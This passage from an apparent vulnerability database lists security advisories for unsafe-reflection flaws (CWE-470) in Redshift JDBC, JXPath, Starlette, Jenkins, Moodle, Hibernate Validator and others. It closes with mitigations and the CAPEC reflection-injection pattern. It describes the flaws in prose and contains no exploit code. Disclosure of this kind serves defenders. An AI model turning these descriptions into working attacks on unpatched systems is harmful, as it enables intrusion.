issue through the coordinated issue disclosure process.",
"id": "GHSA-wmmv-vvg5-993q",
"modified": "2026-05-14T13:09:52Z",
"published": "2026-05-14T13:09:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-wmmv-vvg5-993q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8178"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/security/security-bulletins/2026-028-aws"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/amazon-redshift-jdbc-driver"
},
{
"type": "WEB",
"url": "https://github.com/aws/amazon-redshift-jdbc-driver/releases/tag/v2.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Amazon Redshift Vulnerable to Remote Code Execution via Unsafe Class Loading"
}
GHSA-WRX5-RP7M-MM49
Vulnerability from github – Published: 2022-10-06 18:52 – Updated: 2023-03-06 22:41
Withdrawn 2023-03-06
VLAI
Summary
Withdrawn: CVE Rejected: JXPath vulnerable to remote code execution when interpreting untrusted XPath expressions
Details
This advisory has been withdrawn due to the CVE being rejected.
Original advisory text
Those using JXPath to interpret untrusted XPath expressions may be vulnerable to a remote code execution attack. All JXPathContext class functions processing a XPath string are vulnerable except compile() and compilePath() function. The XPath expression can be used by an attacker to load any Java class from the classpath resulting in code execution.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "commons-jxpath:commons-jxpath"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41852"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-06T20:35:33Z",
"nvd_published_at": "2022-10-06T18:17:00Z",
"severity": "CRITICAL"
},
"details": "## This advisory has been withdrawn due to the CVE being rejected.\n\n## Original advisory text\nThose using JXPath to interpret untrusted XPath expressions may be vulnerable to a remote code execution attack. All JXPathContext class functions processing a XPath string are vulnerable except `compile()` and `compilePath()` function. The XPath expression can be used by an attacker to load any Java class from the classpath resulting in code execution.",
"id": "GHSA-wrx5-rp7m-mm49",
"modified": "2023-03-06T22:41:22Z",
"published": "2022-10-06T18:52:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41852"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47133"
},
{
"type": "WEB",
"url": "https://commons.apache.org/proper/commons-jxpath/users-guide.html#Standard_Extension_Functions"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-jxpath"
},
{
"type": "WEB",
"url": "https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn: CVE Rejected: JXPath vulnerable to remote code execution when interpreting untrusted XPath expressions",
"withdrawn": "2023-03-06T22:41:22Z"
}
GHSA-X3JP-WFM4-C9MV
Vulnerability from github – Published: 2025-12-10 18:30 – Updated: 2025-12-23 15:30
VLAI
Details
Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not correctly verify the name of an attacker-controlled WSDL service, leading to insecure reflection. This can result in remote code execution through either invocation of arbitrary methods or deserialization of untrusted types.
Severity
9.8 (Critical)
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2025-34393"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T16:16:24Z",
"severity": "CRITICAL"
},
"details": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not correctly verify the name of an attacker-controlled WSDL service, leading to insecure reflection. This can result in remote code execution through either invocation of arbitrary methods or deserialization of untrusted types.",
"id": "GHSA-x3jp-wfm4-c9mv",
"modified": "2025-12-23T15:30:29Z",
"published": "2025-12-10T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34393"
},
{
"type": "WEB",
"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf"
},
{
"type": "WEB",
"url": "https://www.barracuda.com/products/msp/network-protection/rmm"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-insecure-reflection-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X637-X8P3-5P22
Vulnerability from github – Published: 2024-03-20 15:32 – Updated: 2024-12-05 22:17
VLAI
Summary
Improper Authentication in Spring Authorization Server
Details
Spring Authorization Server versions 1.0.0 - 1.0.5, 1.1.0 - 1.1.5, 1.2.0 - 1.2.2 and older unsupported versions are susceptible to a PKCE Downgrade Attack for Confidential Clients.
Specifically, an application is vulnerable when a Confidential Client uses PKCE for the Authorization Code Grant.
An application is not vulnerable when a Public Client uses PKCE for the Authorization Code Grant.
Severity
6.1 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-oauth2-authorization-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-oauth2-authorization-server"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-22258"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-20T17:09:02Z",
"nvd_published_at": "2024-03-20T04:15:08Z",
"severity": "MODERATE"
},
"details": "Spring Authorization Server versions 1.0.0 - 1.0.5, 1.1.0 - 1.1.5, 1.2.0 - 1.2.2 and older unsupported versions are susceptible to a PKCE Downgrade Attack for Confidential Clients.\n\nSpecifically, an application is vulnerable when a Confidential Client\u00a0uses PKCE for the Authorization Code Grant.\n\nAn application is not vulnerable when a Public Client\u00a0uses PKCE for the Authorization Code Grant.\n\n",
"id": "GHSA-x637-x8p3-5p22",
"modified": "2024-12-05T22:17:59Z",
"published": "2024-03-20T15:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22258"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-authorization-server/commit/a7035d22bd2de6c24e7125623d38fb83d8f659a9"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2024-22258"
},
{
"type": "PACKAGE",
"url": "github.com/spring-projects/spring-authorization-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Authentication in Spring Authorization Server"
}
GHSA-X746-7M8F-X49C
Vulnerability from github – Published: 2026-06-15 20:16 – Updated: 2026-07-09 21:05
VLAI
Summary
Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`
Details
Summary
When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.
When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.
Details
HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.
Impact
An application is affected when all of the following hold:
- It defines an
HTTPEndpointsubclass and registers it viaRoute(...)without an explicitmethods=argument. - The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single
requestargument and return a response.
This also affects frameworks built on Starlette, like FastAPI.
Mitigation
Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48817"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:16:05Z",
"nvd_published_at": "2026-06-17T20:17:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs.\n\nWhen an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.\n\n### Details\n\n`HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector.\n\n### Impact\n\nAn application is affected when all of the following hold:\n\n* It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument.\n* The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response.\n\nThis also affects frameworks built on Starlette, like FastAPI.\n\n### Mitigation\n\nRegister `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.",
"id": "GHSA-x746-7m8f-x49c",
"modified": "2026-07-09T21:05:46Z",
"published": "2026-06-15T20:16:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-x746-7m8f-x49c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48817"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/1.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`"
}
GHSA-X74X-QF5J-35JH
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2022-06-01 19:41
VLAI
Summary
Sandbox bypass vulnerability in Jenkins Pipeline: Groovy Plugin
Details
A sandbox bypass vulnerability in Jenkins Pipeline: Groovy Plugin 2.64 and earlier allows attackers to invoke arbitrary constructors in sandboxed scripts.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins.workflow:workflow-cps"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.65"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003041"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-01T19:41:15Z",
"nvd_published_at": "2019-03-28T18:29:00Z",
"severity": "CRITICAL"
},
"details": "A sandbox bypass vulnerability in Jenkins Pipeline: Groovy Plugin 2.64 and earlier allows attackers to invoke arbitrary constructors in sandboxed scripts.",
"id": "GHSA-x74x-qf5j-35jh",
"modified": "2022-06-01T19:41:15Z",
"published": "2022-05-13T01:15:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003041"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/workflow-cps-plugin/commit/2e5a67fde9baf25315fe692161b4e90d401da86c"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1423"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/workflow-cps-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-03-25/#SECURITY-1353"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/03/28/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107628"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sandbox bypass vulnerability in Jenkins Pipeline: Groovy Plugin"
}
GHSA-XQ6X-WP93-JJH6
Vulnerability from github – Published: 2026-09-23 00:31 – Updated: 2026-09-23 00:31
VLAI
Details
IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to the improper use of reflection with externally controlled input.
Severity
7.6 (High)
{
"affected": [],
"aliases": [
"CVE-2026-18123"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-22T22:17:09Z",
"severity": "HIGH"
},
"details": "IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to the improper use of reflection with externally controlled input.",
"id": "GHSA-xq6x-wp93-jjh6",
"modified": "2026-09-23T00:31:14Z",
"published": "2026-09-23T00:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18123"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7288641"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XW58-HP5C-6WC2
Vulnerability from github – Published: 2026-09-30 09:31 – Updated: 2026-09-30 09:31
VLAI
Details
A flaw was found in Moodle. An authenticated attacker can supply an improperly validated audience class name to the Report Builder component, allowing arbitrary class instantiation. This vulnerability enables the unauthorized creation of internal program objects, which may result in unexpected application behavior.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-102580"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-30T09:17:15Z",
"severity": "LOW"
},
"details": "A flaw was found in Moodle. An authenticated attacker can supply an improperly validated audience class name to the Report Builder component, allowing arbitrary class instantiation. This vulnerability enables the unauthorized creation of internal program objects, which may result in unexpected application behavior.",
"id": "GHSA-xw58-hp5c-6wc2",
"modified": "2026-09-30T09:31:12Z",
"published": "2026-09-30T09:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102580"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-102580"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2543635"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=482498"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-89078"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XXGP-PCFC-3VGC
Vulnerability from github – Published: 2020-06-15 19:57 – Updated: 2022-07-20 14:21
VLAI
Summary
Privilege Escalation in Hibernate Validator
Details
In Hibernate Validator 5.2.x before 5.2.5.Final, 5.3.x before 5.3.6.Final, and 5.4.x before 5.4.2.Final, it was found that when the security manager's reflective permissions, which allows it to access the private members of the class, are granted to Hibernate Validator, a potential privilege escalation can occur. By allowing the calling code to access those private members without the permission an attacker may be able to validate an invalid instance and access the private member value via ConstraintViolation#getInvalidValue().
Severity
7.0 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.4.Final"
},
"package": {
"ecosystem": "Maven",
"name": "org.hibernate:hibernate-validator"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.3.5.Final"
},
"package": {
"ecosystem": "Maven",
"name": "org.hibernate:hibernate-validator"
},
"ranges": [
{
"events": [
{
"introduced": "5.3.0"
},
{
"fixed": "5.3.6.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.1.Final"
},
"package": {
"ecosystem": "Maven",
"name": "org.hibernate:hibernate-validator"
},
"ranges": [
{
"events": [
{
"introduced": "5.4.0"
},
{
"fixed": "5.4.2.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-7536"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-11T18:50:29Z",
"nvd_published_at": "2018-01-10T15:29:00Z",
"severity": "HIGH"
},
"details": "In Hibernate Validator 5.2.x before 5.2.5.Final, 5.3.x before 5.3.6.Final, and 5.4.x before 5.4.2.Final, it was found that when the security manager\u0027s reflective permissions, which allows it to access the private members of the class, are granted to Hibernate Validator, a potential privilege escalation can occur. By allowing the calling code to access those private members without the permission an attacker may be able to validate an invalid instance and access the private member value via ConstraintViolation#getInvalidValue().",
"id": "GHSA-xxgp-pcfc-3vgc",
"modified": "2022-07-20T14:21:17Z",
"published": "2020-06-15T19:57:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7536"
},
{
"type": "WEB",
"url": "https://github.com/hibernate/hibernate-validator/commit/0886e89900d343ea20fde5137c9a3086e6da9ac"
},
{
"type": "WEB",
"url": "https://github.com/hibernate/hibernate-validator/commit/0778a5c98b817771a645c6f4ba0b28dd8b5437b"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe@%3Ccommits.druid.apache.org%3E"
},
{
"type": "PACKAGE",
"url": "https://github.com/hibernate/hibernate-validator"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1465573"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3817"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2927"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2743"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2742"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2741"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2740"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3458"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3456"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3455"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3454"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3141"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2811"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2810"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2809"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2808"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101048"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039744"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Privilege Escalation in Hibernate Validator"
}
Mitigation
Architecture and Design
Refactor your code to avoid using reflection.
Mitigation
Architecture and Design
Do not use user-controlled inputs to select and load classes or code.
Mitigation
Implementation
Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CAPEC-138: Reflection Injection
An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.